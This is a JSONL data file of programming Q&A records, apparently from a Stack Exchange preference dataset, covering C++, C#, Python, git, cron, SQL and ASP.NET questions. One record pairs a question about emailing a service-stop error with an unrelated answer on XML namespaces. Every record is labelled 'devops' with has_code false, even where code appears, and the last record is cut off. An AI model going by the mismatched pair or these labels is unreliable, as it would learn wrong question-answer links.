{"id": "hf_07f889e15012", "question": "<p>It should be hands-on, complete, targeted to programmers and detailed on layout techniques!</p>\n", "question_body": "", "answer": "Are you looking for a free screen cast? If not, Eric Meyer (one of the gods of web standards)  has a video called\nCSS Web Design\nwhich will tell you everything you need to be fluent with CSS.\nIt also covers some advanced CSS techniques like\nSliding Doors\n. He also goes and refactors some HTML on some well known websites to take advantage of CSS.\nIf you are a fast learner,\nW3School's CSS\nsection has more than enough information to get you started. CSS is actually very easy to learn.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:23.237533"}
{"id": "hf_31f57302da5d", "question": "<p>I would like to throw an exception when my C++ methods encounter something weird and can't recover. Is it OK to throw a <code>std::string</code> pointer?</p>\n\n<p>Here's what I was looking forward to doing:</p>\n\n<pre><code>void Foo::Bar() {\n    if(!QueryPerformanceTimer(&amp;m_baz)) {\n        throw new std::string(\"it's the end of the world!\");\n    }\n}\n\nvoid Foo::Caller() {\n    try {\n        this-&gt;Bar(); // should throw\n    }\n    catch(std::string *caught) { // not quite sure the syntax is OK here...\n        std::cout &lt;&lt; \"Got \" &lt;&lt; caught &lt;&lt; std::endl;\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "It works, but I wouldn't do it if I were you.  You don't seem to be deleting that heap data when you're done, which means that you've created a memory leak.  The C++ compiler takes care of ensuring that exception data is kept alive even as the stack is popped, so don't feel that you need to use the heap.\nIncidentally, throwing a\n```\nstd::string\n```\nisn't the best approach to begin with.  You'll have a lot more flexibility down the road if you use a simple wrapper object.  It may just encapsulate a\n```\nstring\n```\nfor now, but maybe in future you will want to include other information, like some data which caused the exception or maybe a line number (very common, that).  You don't want to change all of your exception handling in every spot in your code-base, so take the high road now and don't throw raw objects.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:23.274486"}
{"id": "hf_aaedcb2039e5", "question": "<p>I've been searching on SO on how to do i18n support on my little application...</p>\n\n<p>I know that Microsoft offers 'culture' classes, but you have to re-compile your application to include any new string you add. So, all I'm trying to do is to put all my strings in a external file and offers users the choice to translate the app without the need to recompile.</p>\n\n<p>Is there an easy way to handle this ? Use XML, or INI-like ? any Tutorial available ?\nP.S: Trying to do this on C#... Don't bother if other languages </p>\n", "question_body": "", "answer": "if you include a new string in your app, you have to recompile it anyway, do you not?\nif you add languages often, resource files and/or satellite DLLs are probably your best bet\nfailing that, you can write your own provider. Here are some links I found useful, your mileage may vary:\nhttp://en.csharp-online.net/Localization_Like_the_Pros\nhttp://www.devhood.com/tutorials/tutorial_details.aspx?tutorial_id=211\nhttp://www.codeproject.com/KB/aspnet/DeclarativeGlobalization.aspx\nMS toolkit for web pages\nCE solution", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:23.389334"}
{"id": "hf_b16e5b583b8b", "question": "<p>I mostly use lambda functions but sometimes use nested functions that seem to provide the same behavior.</p>\n<p>Here are some trivial examples where they functionally do the same thing if either were found within another function:</p>\n<p><strong>Lambda function</strong></p>\n<pre><code>&gt;&gt;&gt; a = lambda x : 1 + x\n&gt;&gt;&gt; a(5)\n6\n</code></pre>\n<p><strong>Nested function</strong></p>\n<pre><code>&gt;&gt;&gt; def b(x): return 1 + x\n\n&gt;&gt;&gt; b(5)\n6\n</code></pre>\n<p>Are there advantages to using one over the other? (Performance? Readability? Limitations? Consistency? etc.)</p>\n<p>Does it even matter? If it doesn't then does that violate the Pythonic principle:</p>\n<blockquote>\n<p><a href=\"https://www.python.org/dev/peps/pep-0020/\" rel=\"noreferrer\">There should be one-- and preferably only one --obvious way to do it.</a>.</p>\n</blockquote>\n", "question_body": "", "answer": "If you need to assign the\n```\nlambda\n```\nto a name, use a\n```\ndef\n```\ninstead.\n```\ndef\n```\ns are just syntactic sugar for an assignment, so the result is the same, and they are a lot more flexible and readable.\n```\nlambda\n```\ns can be used for\nuse once, throw away\nfunctions which won't have a name.\nHowever, this use case is very rare. You rarely need to pass around unnamed function objects.\nThe builtins\n```\nmap()\n```\nand\n```\nfilter()\n```\nneed function objects, but\nlist comprehensions\nand\ngenerator expressions\nare generally more readable than those functions and can cover all use cases, without the need of lambdas.\nFor the cases you really need a small function object, you should use the\n```\noperator\n```\nmodule functions, like\n```\noperator.add\n```\ninstead of\n```\nlambda x, y: x + y\n```\nIf you still need some\n```\nlambda\n```\nnot covered, you might consider writing a\n```\ndef\n```\n, just to be more readable. If the function is more complex than the ones at\n```\noperator\n```\nmodule, a\n```\ndef\n```\nis probably better.\nSo, real world good\n```\nlambda\n```\nuse cases are very rare.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:23.420938"}
{"id": "hf_012e5d621718", "question": "<p>What is your preferred method for reading through the contents of zipped directories with Perl ?</p>\n", "question_body": "", "answer": "There are several modules on CPAN for working with various archive formats (zip, tar, etc.), the one you're probably after is\nArchive::Zip\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:23.468980"}
{"id": "hf_b571c9e51331", "question": "<p>I have a DataGrid, with an ItemTemplate that has an image and label.  In the EditItemTemplate the label is replaced by a textbox.  My problem is that the edit template only shows when I click the Edit button the second time.  What gives?</p>\n", "question_body": "", "answer": "Make sure you check for Page.IsPostback before binding your datagrid. It may be the case that you are binding during every page load.\n```\n```\nIf Not Page.IsPostBack() Then\n    DoDataBinding()\nEnd If\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:23.554614"}
{"id": "hf_a571a719fcdd", "question": "<p>I would like to sort a matrix according to a particular column. There is a <code>sort</code> function, but it sorts all columns independently.</p>\n\n<p>For example, if my matrix <code>data</code> is:</p>\n\n<pre><code> 1     3\n 5     7\n-1     4\n</code></pre>\n\n<p>Then the desired output (sorting by the first column) would be:</p>\n\n<pre><code>-1     4\n 1     3\n 5     7\n</code></pre>\n\n<p>But the output of <code>sort(data)</code> is:</p>\n\n<pre><code>-1     3\n 1     4\n 5     7\n</code></pre>\n\n<p>How can I sort this matrix by the first column?</p>\n", "question_body": "", "answer": "I think the\nsortrows\nfunction is what you're looking for.\n```\n```\n>> sortrows(data,1)\n\nans =\n\n    -1     4\n     1     3\n     5     7\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:23.613630"}
{"id": "hf_b0cbc8d87446", "question": "<p>Whilst refactoring some code I came across some getter methods that returns a std::string.  Something like this for example:</p>\n\n<pre><code>class foo\n{\nprivate:\n    std::string name_;\npublic:\n    std::string name()\n    {\n        return name_;\n    }\n};\n</code></pre>\n\n<p>Surely the getter would be better returning a <code>const std::string&amp;</code>?  The current method is returning a copy which isn't as efficient.  Would returning a const reference instead cause any problems?</p>\n", "question_body": "", "answer": "I'd change it to return const std::string&.  The caller will probably make a copy of the result anyway if you don't change all the calling code, but it won't introduce any problems.\nOne potential wrinkle arises if you have multiple threads calling name().  If you return a reference, but then later change the underlying value, then the caller's value will change.  But the existing code doesn't look thread-safe anyway.\nTake a look at Dima's answer for a related potential-but-unlikely problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:23.660187"}
{"id": "hf_ec8b7bbc61ac", "question": "<p>I have a data table with a variable number of columns and a data scroller. How can I enable server side sorting? I prefer that it be fired by the user clicking the column header.</p>\n\n<pre><code>&lt;rich:datascroller for=\"instanceList\" actionListener=\"#{pageDataModel.pageChange}\"/&gt;\n&lt;rich:dataTable id=\"instanceList\" rows=\"10\" value=\"#{pageDataModel}\"\n                var=\"fieldValues\" rowKeyVar=\"rowKey\"&gt;\n  &lt;rich:columns value=\"#{pageDataModel.columnNames}\" var=\"column\" index=\"idx\"&gt;\n    &lt;f:facet name=\"header\"&gt;\n      &lt;h:outputText value=\"#{column}\"/&gt;\n    &lt;/f:facet&gt;          \n    &lt;h:outputText value=\"#{classFieldValues[idx]}\" /&gt;\n  &lt;/rich:columns&gt;\n&lt;/rich:dataTable&gt;\n</code></pre>\n\n<p>I already have a method on the bean for executing the sort.</p>\n\n<pre><code>public void sort(int column)\n</code></pre>\n", "question_body": "", "answer": "I ended up doing it manually. I adding a support tag to the header text tag, like so.\n```\n```\n<h:outputText value=\"#{column}\">\n  <a4j:support event=\"onclick\" action=\"#{pageDataModel.sort(idx)}\"\n               eventsQueue=\"instancesQueue\"\n               reRender=\"instanceList,instanceListScroller\"/>\n</h:outputText>\n```\n```\nTo get the ascending/descending arrows, I added a css class.\n```\n```\n<h:outputText value=\"#{column}\" styleClass=\"#{pageDataModel.getOrderClass(idx)}\" >\n  <a4j:support event=\"onclick\" action=\"#{pageDataModel.sort(idx)}\"\n               eventsQueue=\"instancesQueue\"\n               reRender=\"instanceList,instanceListScroller\"/>\n</h:outputText>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:23.700702"}
{"id": "hf_dc203ed041de", "question": "<p>What is the difference between <code>bool</code> and <code>Boolean</code> types in C#?</p>\n", "question_body": "", "answer": "I don't believe there is one.\n```\nbool\n```\nis just an alias for\n```\nSystem.Boolean\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:23.725553"}
{"id": "hf_69a762bc87b5", "question": "<p>I work for a product development company.We first do internal releases,and then public release.I was wondering, how other product developing companies manage their release? How do you give release number? Tag the source control?</p>\n", "question_body": "", "answer": "We use SubVersion, where tags and branches are cheap to create.\nAs far as releases go, we follow this convention:\n(Major Release).(Minor Release).(Patch Release).(SVN revision)\nPatch Release = bug fixes\nMinor Release = binary compatible /\ninterface compatible\nMajor Release = includes breaking\nchanges.\nDoes that make sense?  If you need more information, add a comment and I'll edit my post to clarify.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:23.763318"}
{"id": "hf_c35ad9511540", "question": "<p>Stateless beans in Java do not keep their state between two calls from the client. So in a nutshell we might consider them as objects with business methods. Each method takes parameters and return results. When the method is invoked some local variables are being created in execution stack. When the method returns the locals are removed from the stack and if some temporary objects were allocated they are garbage collected anyway.</p>\n\n<p>From my perspective that doesn’t differ from calling method of the same single instance by separate threads. So why cannot a container use one instance of a bean instead of pooling a number of them?</p>\n", "question_body": "", "answer": "Pooling does several things.\nOne, by having one bean per instance, you're guaranteed to be threads safe (Servlets, for example, are not thread safe).\nTwo, you reduce any potential startup time that a bean might have. While Session Beans are \"stateless\", they only need to be stateless with regards to the client. For example, in EJB, you can inject several server resources in to a Session Bean. That state is private to the bean, but there's no reason you can't keep it from invocation to invocation. So, by pooling beans you reduce these lookups to only happening when the bean is created.\nThree, you can use bean pool as a means to throttle traffic. If you only have 10 Beans in a pool, you're only going to get at most 10 requests working simultaneously, the rest will be queued up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:23.800313"}
{"id": "hf_5557eb0321e1", "question": "<p>I have an <em>index.php</em> file which has to process many different file types. How do I guess the filetype based on the <code>REQUEST_URI</code>?</p>\n<p>If I request <code>http://site/image.jpg</code>, and all requests redirect through <em>index.php</em>, which looks like this</p>\n<pre><code>&lt;?php\n   include('/www/site'.$_SERVER['REQUEST_URI']);\n?&gt;\n</code></pre>\n<p>How would I make that work correctly?</p>\n<p>Should I test based on the extension of the file requested, or is there a way to get the filetype?</p>\n", "question_body": "", "answer": "If you are sure you're only ever working with images, you can check out the\nexif_imagetype()\nPHP function, which attempts to return the image MIME type.\nIf you don't mind external dependencies, you can also check out the excellent\ngetID3\nlibrary which can determine the MIME type of many different file types.\nLastly, you can check out the\nmime_content_type()\nfunction - but it has been deprecated for the\nFileinfo\nPECL extension.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:23.907841"}
{"id": "hf_e645a932b9c2", "question": "<p>How do I easily undo a git rebase? A lengthy manual method is:</p>\n<ol>\n<li>checkout the commit parent to both of the branches</li>\n<li>create and checkout a temporary branch</li>\n<li>cherry-pick all commits by hand</li>\n<li>reset the faulty rebased branch to point to the temporary branch</li>\n</ol>\n<p>In my current situation, this works because I can easily spot commits from both branches (one was my stuff, the other was my colleague's stuff). However, my approach strikes me as suboptimal and error-prone (let's say I had just rebased with two of my own branches).</p>\n<p>Clarification: I am talking about a rebase during which <em>multiple</em> commits were replayed, not only one.</p>\n", "question_body": "", "answer": "The easiest way would be to find the head commit of the branch as it was immediately before the rebase started in the\nreflog\n...\n```\n```\ngit reflog\n```\n```\nand to reset the current branch to it (with the usual caveats about being absolutely sure before reseting with the\n```\n--hard\n```\noption).\nSuppose the old commit was\n```\nHEAD@{2}\n```\nin the ref log:\n```\n```\ngit reset --hard HEAD@{2}\n```\n```\nIn Windows, you may need to quote the reference:\n```\n```\ngit reset --hard \"HEAD@{2}\"\n```\n```\nYou can check the history of the candidate old head by just doing a\n```\ngit log HEAD@{2}\n```\n(\nWindows:\n```\ngit log \"HEAD@{2}\"\n```\n).\nIf you've not disabled per branch reflogs you should be able to simply do\n```\ngit reflog branchname@{1}\n```\nas a rebase detaches the branch head before reattaching to the final head. I would double check this, though as I haven't verified this recently.\nPer default, all reflogs are activated for non-bare repositories:\n```\n```\n[core]\n    logAllRefUpdates = true\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:24.008226"}
{"id": "hf_57f7425ac870", "question": "<p>After making it through the major parts of an introductory Lisp book, I still couldn't understand what the special operator <code>(quote)</code> (or equivalent <code>'</code>) function does, yet this has been all over Lisp code that I've seen.  </p>\n\n<p>What does it do?</p>\n", "question_body": "", "answer": "It says \"don't evaluate me\".  For example, if you wanted to use a list as data, and not as code, you'd put a quote in front of it.  For example,\n```\n(print '(+ 3 4))\n```\nprints \"(+ 3 4)\", whereas\n```\n(print (+ 3 4))\n```\nprints \"7\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:24.060826"}
{"id": "hf_93ba207e6d7e", "question": "<p>What is the best way to return XML from a controller's action in ASP.NET MVC?  There is a nice way to return JSON, but not for XML.  Do I really need to route the XML through a View, or should I do the not-best-practice way of Response.Write-ing it?</p>\n", "question_body": "", "answer": "Use\nMVCContrib\n's XmlResult Action.\nFor reference here is their code:\n```\n```\npublic class XmlResult : ActionResult\n{\n    private object objectToSerialize;\n\n    /// <summary>\n    /// Initializes a new instance of the <see cref=\"XmlResult\"/> class.\n    /// </summary>\n    /// <param name=\"objectToSerialize\">The object to serialize to XML.</param>\n    public XmlResult(object objectToSerialize)\n    {\n        this.objectToSerialize = objectToSerialize;\n    }\n\n    /// <summary>\n    /// Gets the object to be serialized to XML.\n    /// </summary>\n    public object ObjectToSerialize\n    {\n        get { return this.objectToSerialize; }\n    }\n\n    /// <summary>\n    /// Serialises the object that was passed into the constructor to XML and writes the corresponding XML to the result stream.\n    /// </summary>\n    /// <param name=\"context\">The controller context for the current request.</param>\n    public override void ExecuteResult(ControllerContext context)\n    {\n        if (this.objectToSerialize != null)\n        {\n            context.HttpContext.Response.Clear();\n            var xs = new System.Xml.Serialization.XmlSerializer(this.objectToSerialize.GetType());\n            context.HttpContext.Response.ContentType = \"text/xml\";\n            xs.Serialize(context.HttpContext.Response.Output, this.objectToSerialize);\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:24.085225"}
{"id": "hf_e8db3b5bf6bb", "question": "<p>Is there a command or an existing script that will let me view all of a *NIX system's scheduled cron jobs at once? I'd like it to include all of the user crontabs, as well as <code>/etc/crontab</code>, and whatever's in <code>/etc/cron.d</code>. It would also be nice to see the specific commands run by <code>run-parts</code> in <code>/etc/crontab</code>.</p>\n\n<p>Ideally, I'd like the output in a nice column form and ordered in some meaningful way.</p>\n\n<p>I could then merge these listings from multiple servers to view the overall \"schedule of events.\"</p>\n\n<p>I was about to write such a script myself, but if someone's already gone to the trouble...</p>\n", "question_body": "", "answer": "You would have to run this as root, but:\n```\n```\nfor user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done\n```\n```\nwill loop over each user name listing out their crontab.  The crontabs are owned by the respective users so you won't be able to see another user's crontab w/o being them or root.\nEdit\nif you want to know which user a crontab belongs to, use\n```\necho $user\n```\n```\n```\nfor user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:24.114773"}
{"id": "hf_02d6b509f82d", "question": "<p>We will need to call out to a 3rd party to retrieve a value using REST, however if we do not receive a response within 10ms, I want to use a default value and continue processing.</p>\n\n<p>I'm leaning towards using an asynchronous WebRequest do to this, but I was wondering if there was a trick to doing it using a synchronous request.</p>\n\n<p>Any advice?</p>\n", "question_body": "", "answer": "If you are doing a request and waiting on it to return I'd say stay synchronous - there's no reason to do an async request if you're not going to do anything or stay responsive while waiting.\nFor a sync call:\n```\n```\nWebRequest request = WebRequest.Create(\"http://something.somewhere/url\");\nWebResponse response = null;\nrequest.Timeout = 10000; // 10 second timeout\ntry\n{\n    response = request.GetResponse();\n}\ncatch(WebException e)\n{\n  if( e.Status == WebExceptionStatus.Timeout)\n  {\n    //something\n  }\n}\n```\n```\nIf doing async:\nYou will have to call Abort() on the request object - you'll need to check the timeout yourself, there's no built-in way to enforce a hard timeout.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:24.151282"}
{"id": "hf_cb4378a3cc28", "question": "<p>I like to keep my source files on a USB drive for the portability. To date I have been using Visual SourceSafe for this purpose. What is a good alternative to VSS that fulfils these criteria:</p>\n<ul>\n<li>Entire database can be held on a USB &quot;pen&quot; drive</li>\n<li>Code / documentation duplicated on local drives</li>\n<li>Does not require a central server</li>\n<li>Easy to backup and restore using standard backup tools</li>\n<li>Integrates with Visual Studio</li>\n<li>Has a small footprint</li>\n<li>Easy to clean the database and keep small</li>\n<li>Compatible with Windows XP, Vista and Vista x64</li>\n</ul>\n<p>A good reference on setup would be good too.</p>\n", "question_body": "", "answer": "Don't use SourceSafe.  There's major problems with it.  See this:\nArticle1\nArticle2\nI'd recommend using SubVersion instead.\nIf you're using Windows, you can use\nTortoiseSVN\n.\nIf you're working on Linux or other Unix variants, try\nRapidSVN\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:24.213389"}
{"id": "hf_d07ee342c01f", "question": "<p>How would I be able to get N results for several groups in\nan oracle query.</p>\n\n<p>For example, given the following table:</p>\n\n<pre><code>|--------+------------+------------|\n| emp_id | name       | occupation |\n|--------+------------+------------|\n|      1 | John Smith | Accountant |\n|      2 | Jane Doe   | Engineer   |\n|      3 | Jack Black | Funnyman   |\n|--------+------------+------------|\n</code></pre>\n\n<p>There are many more rows with more occupations.  I would like to get\nthree employees (lets say) from each occupation.</p>\n\n<p>Is there a way to do this without using a subquery?</p>\n", "question_body": "", "answer": "I'm not sure this is very efficient, but maybe a starting place?\n```\n```\nselect *\nfrom people p1\n    join people p2\n        on p1.occupation = p2.occupation\n    join people p3\n        on p1.occupation = p3.occupation\n        and p2.occupation = p3.occupation\nwhere p1.emp_id != p2.emp_id\n    and p1.emp_id != p3.emp_id\n```\n```\nThis should give you rows that contain 3 distinct employees all in the same occupation.  Unfortunately, it will give you ALL combinations of those.\nCan anyone pare this down please?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:24.251035"}
{"id": "hf_6d57f8c226b5", "question": "<p>In Ruby, is there the equivalent of the <code>__str__()</code> method that you can define on Python classes?  </p>\n", "question_body": "", "answer": "On the core classes it is typically 'inspect'.\nEg:\n```\n```\nirb(main):001:0> puts \"array is: #{[1,2,3].inspect}\"\narray is: [1, 2, 3]\n=> nil\nirb(main):002:0> puts \"array is: #{[1,2,3]}\"\narray is: 123\n=> nil\nirb(main):003:0>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:24.287658"}
{"id": "hf_f9b181ec64c6", "question": "<p>I have a problem with stopping a service and starting it again and want to be notified when the process runs and let me know what the result is.  </p>\n\n<p>Here's the scenario,\nI have a text file output of an \"sc\" command. I want to send that file but not as an attachment.  Also, I want to see the initial status quickly in the subject of the email.</p>\n\n<p>Here's the 'servstop.txt' file contents:</p>\n\n<blockquote>\n  <p>[SC] StartService FAILED 1058:</p>\n  \n  <p>The service cannot be started, either\n  because it is disabled or because it\n  has no enabled devices associated with\n  it.</p>\n</blockquote>\n\n<p>I want the subject of the email to be \"Alert Service Start: [SC] StartService FAILED 1058\"\nand the body to contain the entire error message above.</p>\n\n<p>I will put my current method in an answer below using a program called blat to send me the result.</p>\n", "question_body": "", "answer": "If the\n```\n<loner>\n```\nelement in your sample XML didn't have the\n```\nxmlns\n```\ndefault namespace declaration on it, then it would be in the\n```\nwhatever:name-space-1.0\n```\nnamespace rather than being in no namespace. If that's what you want, you need to create the element in that namespace:\n```\n```\nxml.CreateElement(\"loner\", \"whatever:name-space-1.0\")\n```\n```\nIf you want the\n```\n<loner>\n```\nelement to be in no namespace, then the XML that's been produced is exactly what you need, and you shouldn't worry about the\n```\nxmlns\n```\nattribute that's been added automatically for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:24.359829"}
{"id": "hf_ab870a81a9bf", "question": "<p>In ruby the library path is provided in <code>$:</code>, in perl it's in <code>@INC</code> - how do you get the list of paths that Python searches for modules when you do an import?</p>\n", "question_body": "", "answer": "```\n```\nimport sys\nsys.path\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:24.396193"}
{"id": "hf_1a94c85a1ee6", "question": "<p>Why or why not?</p>\n", "question_body": "", "answer": "```\nxrange()\n```\nis more efficient because instead of generating a list of objects, it just generates one object at a time. Instead of 100 integers, and all of their overhead, and the list to put them in, you just have one integer at a time. Faster generation, better memory use, more efficient code.\nUnless I specifically need a list for something, I always favor\n```\nxrange()\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:24.420500"}
{"id": "hf_bf58739669ac", "question": "<p>This may be a matter of style, but there's a bit of a divide in our dev team and I wondered if anyone else had any ideas on the matter...</p>\n\n<p>Basically, we have some debug print statements which we turn off during normal development. Personally I prefer to do the following:</p>\n\n<pre><code>//---- SomeSourceFile.cpp ----\n\n#define DEBUG_ENABLED (0)\n\n...\n\nSomeFunction()\n{\n    int someVariable = 5;\n\n#if(DEBUG_ENABLED)\n    printf(\"Debugging: someVariable == %d\", someVariable);\n#endif\n}\n</code></pre>\n\n<p>Some of the team prefer the following though:</p>\n\n<pre><code>// #define DEBUG_ENABLED\n\n...\n\nSomeFunction()\n{\n    int someVariable = 5;\n\n#ifdef DEBUG_ENABLED\n    printf(\"Debugging: someVariable == %d\", someVariable);\n#endif\n}\n</code></pre>\n\n<p>...which of those methods sounds better to you and why? My feeling is that the first is safer because there is always something defined and there's no danger it could destroy other defines elsewhere.</p>\n", "question_body": "", "answer": "```\n#if\n```\ngives you the option of setting it to 0 to turn off the functionality, while still detecting that the switch is there.\nPersonally I always\n```\n#define DEBUG 1\n```\nso I can catch it with either an #if or #ifdef", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:24.468588"}
{"id": "hf_7d31dd30f38f", "question": "<p>I seem to be seeing more 'for' loops over iterators in questions &amp; answers here than I do for_each(), transform(), and the like.  Scott Meyers suggests that <a href=\"http://www.ddj.com/cpp/184401446\" rel=\"noreferrer\">stl algorithms are preferred</a>, or at least he did in 2001.  Of course, using them often means moving the loop body into a function or function object.  Some may feel this is an unacceptable complication, while others may feel it better breaks down the problem.</p>\n\n<p>So... should STL algorithms be preferred over hand-rolled loops?</p>\n", "question_body": "", "answer": "It depends on:\nWhether high-performance is required\nThe readability of the loop\nWhether the algorithm is complex\nIf the loop isn't the bottleneck, and the algorithm is simple (like for_each), then for the current C++ standard, I'd prefer a hand-rolled loop for readability.  (Locality of logic is key.)\nHowever, now that C++0x/C++11 is supported by some major compilers, I'd say use STL algorithms because they now allow lambda expressions — and thus the locality of the logic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:24.563107"}
{"id": "hf_2ecc69d007ba", "question": "<p>I have a table that holds only two columns - a ListID and PersonID.  When a person is merged with another in the system, I was to update all references from the \"source\" person to be references to the \"destination\" person.</p>\n\n<p>Ideally, I would like to call something simple like</p>\n\n<pre><code>UPDATE MailingListSubscription\nSET PersonID = @DestPerson\nWHERE PersonID = @SourcePerson\n</code></pre>\n\n<p>However, if the destination person already exists in this table with the same ListID as the source person, a duplicate entry will be made.  How can I perform this action without creating duplicated entries? (ListID, PersonID is the primary key)</p>\n\n<p>EDIT: Multiple ListIDs are used.  If SourcePerson is assigned to ListIDs 1, 2, and 3, and DestinationPerson is assigned to ListIDs 3 and 4, then the end result needs to have four rows - DestinationPerson assigned to ListID 1, 2, 3, and 4.</p>\n", "question_body": "", "answer": "```\n```\n--out with the bad\nDELETE\nFROM MailingListSubscription\nWHERE PersonId = @SourcePerson\n  and ListID in (SELECT ListID FROM MailingListSubscription WHERE PersonID = @DestPerson)\n\n--update the rest (good)\nUPDATE MailingListSubscription\nSET PersonId = @DestPerson\nWHERE PersonId = @SourcePerson\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", 